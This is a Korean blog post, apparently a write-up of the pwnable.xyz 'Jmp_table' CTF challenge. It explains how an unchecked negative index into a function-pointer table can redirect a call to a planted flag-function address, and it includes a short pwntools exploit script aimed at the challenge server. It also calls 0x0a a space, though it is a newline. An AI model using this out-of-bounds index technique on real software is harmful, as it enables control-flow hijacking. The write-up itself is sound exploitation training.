상세 컨텐츠

본문 제목

[pwnable.xyz] Jmp_table

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 11. 11. 16:40

본문

728x90
반응형

flag 함수가 _ 함수로 있다.

 

 

vtable가 있다. vtable을 통해 각 함수를 호출한다. 

 

 

 

 

vtable 주소로 이동해보면 각 함수의 주소가 적혀 있는 것을 알 수 있다.

 

 

 

&vtable+v3으로 함수를 호출하는데, 이것으로 v3를 조절해서 원하는 함수를 호출할 수 있다.

(또 v3 <= 4이기만 하면 되므로 음수여도 상관없기 때문!)

 

 

 

0x400a31이 _ 함수 주소인데 문제는 이 주소에 0x0a가 포함되어 있다.

0a는 아스키 코드 상으로 스페이스이기 때문에 read 시 끊기게 된다.

 

따라서 이 주소를 어디에 넣어놓고 그 곳을 호출해서 실행되도록 해야 한다.

 

 

 

vtable에서 위로 올라가보면 size가 있다.

 

size 체크를 따로 하지 않기 때문에 

 

 

_ 함수 주소를 string으로 size에 넣고 (strtoul에서 string을 int로 변환하기 때문)

vtable과 size의 차이를 v3에 넣는다. 0x10 만큼 차이난다.

이때 v3는 8바이트 단위이므로 (따지자면 인덱스처럼) v3 = -2 로 준다.

 

그럼 &vtable+v3을 할 때 size로 이동하는데, _ 함수가 들어있어서 flag가 출력된다.

 

# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30007)
elf = ELF("./challenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
win = elf.symbols['_']

#gdb.attach(p)

p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(win))

p.sendlineafter("> ", '-2')

p.interactive() 

 

# exploit

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] SUS  (0) 2020.02.05
[pwnable.xyz] game  (0) 2020.01.22
[pwnable.xyz] free spirit  (0) 2019.11.11
[pwnable.xyz] two targets - shell (pwnable)  (0) 2019.11.02
[pwnable.xyz] two targets (pwnable)  (0) 2019.11.02

관련글 더보기